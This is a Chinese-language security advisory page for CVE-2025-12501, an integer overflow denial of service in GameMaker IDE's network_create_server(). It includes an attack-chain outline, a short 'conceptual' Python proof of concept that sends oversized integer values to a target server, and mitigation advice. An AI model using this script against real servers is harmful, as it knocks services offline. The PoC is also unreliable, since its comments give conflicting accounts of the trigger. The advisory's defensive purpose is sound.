IPBUF安全漏洞报告
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CVE-2025-12501 CVSS 7.5 高危

CVE-2025-12501: GameMaker IDE整数溢出漏洞导致拒绝服务

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-12501
漏洞类型
整数溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GameMaker IDE

相关标签

整数溢出拒绝服务GameMaker网络漏洞CVE-2025-12501高危漏洞network_create_server游戏引擎漏洞

漏洞概述

CVE-2025-12501是GameMaker IDE中的一个高危整数溢出漏洞,CVSS评分7.5。该漏洞存在于GameMaker IDE 2024.14.0之前的版本中,由于在处理网络服务器创建功能时未对整数运算进行适当的边界检查,导致攻击者可以通过构造恶意输入触发整数溢出。当应用程序使用network_create_server()函数创建网络服务器时,攻击者可以发送精心构造的数据包,使目标系统发生整数溢出,最终导致应用程序崩溃或进入拒绝服务状态。由于该漏洞可通过网络远程利用,且无需认证和用户交互,因此具有较高的安全风险。GameMaker作为一款广泛使用的游戏开发引擎,其网络功能的安全性问题可能影响到大量使用该引擎开发的游戏和应用。Opera安全团队于2025年10月31日披露了此漏洞,并建议用户立即更新到最新版本并重新编译项目。

技术细节

该整数溢出漏洞位于GameMaker IDE的网络模块中,具体影响network_create_server()函数。当该函数处理传入的连接请求或数据包时,如果输入参数超出预期的整数范围,可能导致整数运算结果溢出。在C/C++等底层语言中,整数溢出可能导致缓冲区分配异常、内存破坏或程序逻辑错误。攻击者可以通过发送包含超大数值的数据包到使用network_create_server()创建的服务器,触发整数溢出条件。例如,当服务器尝试分配内存或计算数组索引时,超大数值经过整数运算后可能变成一个极小的值或负数,导致内存分配失败或访问非法内存地址。这种情况下,程序可能崩溃、返回错误或进入不可预测的状态。由于GameMaker的脚本语言会调用底层C++代码处理网络操作,整数溢出可能被利用来绕过安全检查或触发更严重的后果。攻击者需要能够向目标服务器发送网络请求即可利用此漏洞,无需认证或特殊权限。

攻击链分析

STEP 1
步骤1
攻击者识别运行GameMaker游戏或应用的目标服务器,该服务器使用network_create_server()函数创建网络服务
STEP 2
步骤2
攻击者构造包含超大整数值的恶意网络数据包,这些值在GameMaker底层处理时会导致整数溢出
STEP 3
步骤3
攻击者通过TCP/UDP协议向目标服务器的监听端口发送恶意数据包
STEP 4
步骤4
GameMaker网络模块接收到恶意数据后,在处理连接请求或数据包时触发整数溢出
STEP 5
步骤5
整数溢出导致内存分配失败、缓冲区异常或程序状态错误
STEP 6
步骤6
目标应用程序崩溃或进入无响应状态,实现拒绝服务攻击效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-12501 PoC - Integer Overflow in GameMaker IDE network_create_server() // This PoC demonstrates triggering integer overflow via network request // Note: This is a conceptual PoC. Actual implementation requires GameMaker runtime. // Client-side exploit code (Python example) import socket import struct def exploit_gamemaker_server(target_ip, target_port): """ Send malicious packet to trigger integer overflow in GameMaker network server """ # Craft malicious packet with oversized values # Integer overflow occurs when these values are processed malicious_data = struct.pack('>I', 0xFFFFFFFF) # Max unsigned int malicious_data += struct.pack('>I', 0x7FFFFFFF) # Large positive int malicious_data += b'\x00' * 100 # Padding try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(malicious_data) print(f"Malicious packet sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"Error: {e}") // GameMaker script example (vulnerable code pattern) // function create_vulnerable_server() { // var server = network_create_server(network_socket_tcp, port, max_connections); // // Vulnerability: max_connections parameter not validated // // If passed a value causing overflow in internal calculations, // // can lead to crash or DoS // } // Mitigation: Always validate input parameters // function create_safe_server(port, max_connections) { // if (max_connections < 1 || max_connections > 65535) { // show_debug_message("Invalid connection limit"); // return -1; // } // return network_create_server(network_socket_tcp, port, max_connections); // }

影响范围

GameMaker IDE < 2024.14.0

防御指南

临时缓解措施
如果无法立即更新版本,可采取以下临时缓解措施:1) 暂时禁用或限制network_create_server()功能;2) 在游戏服务器前部署负载均衡器或WAF,过滤异常数据包;3) 限制每个IP的连接速率和并发连接数;4) 监控应用程序日志,发现崩溃立即告警;5) 考虑使用游戏盾或DDoS防护服务增强网络层安全。建议尽快完成版本升级,因为临时措施可能影响正常服务功能。

参考链接

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